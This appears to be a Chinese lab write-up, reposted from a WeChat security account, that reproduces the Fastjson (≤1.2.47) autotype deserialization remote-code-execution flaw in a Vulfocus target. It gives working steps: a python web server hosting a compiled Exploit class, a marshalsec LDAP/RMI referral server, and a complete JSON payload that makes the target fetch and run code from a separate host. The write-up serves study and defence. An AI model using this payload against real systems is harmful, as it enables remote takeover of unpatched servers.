0x00 漏洞描述
Fastjson 是一个 Java 库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson 提供了 autotype 功能,允许用户在反序列化数据中通过 “@type” 指定反序列化的类型;当组件开启了 autotype 功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定 setter 或者 getter 方法中,若指定类的指定方法中有可被恶意利用的逻辑,则会造成一些严重的安全问题。
payload 会利用 fastjson 的反序列化漏洞去指定的 rmi/ldap 服务进行远程方法调用若要进行远程命令执行则需先构造一个恶意的 rmi 或者 ldap ,在其中设定要执行的命令,之后利用 fastjson 反序列化漏洞去使用我们构造的 rmi/ldap,最终在 fastjson 服务器中执行我们在 rmi/ldap 中指定的命令,故该远程命令执行无法回显。
0x01 影响版本
Fastjson <= 1.2.47
0x02 环境搭建
Vulfocus集成的靶场环境
0x03 漏洞检测
提交payload。
检测结果,证明存在该漏洞。
0x04 漏洞复现
攻击机:192.168.204.138
靶机:192.168.204.146
含有恶意java类主机:192.168.204.149
原始tmp目录。
编译Exploit.java。
在该文件目录下,使用 python 搭建 web 环境,监听端口 8083
python -m http.server 8083
使用marshalsec工具,开启LDAP,监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.204.149:8083/#Exploit 9999
使用BP抓包发送请求
更改网页头为POST,构造payload,发送
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.204.149:9999/Exploit",
"autoCommit":true
}
}
查看结果
End
原文始发于微信公众号(NS Demon团队):Fastjson反序列化RCE漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论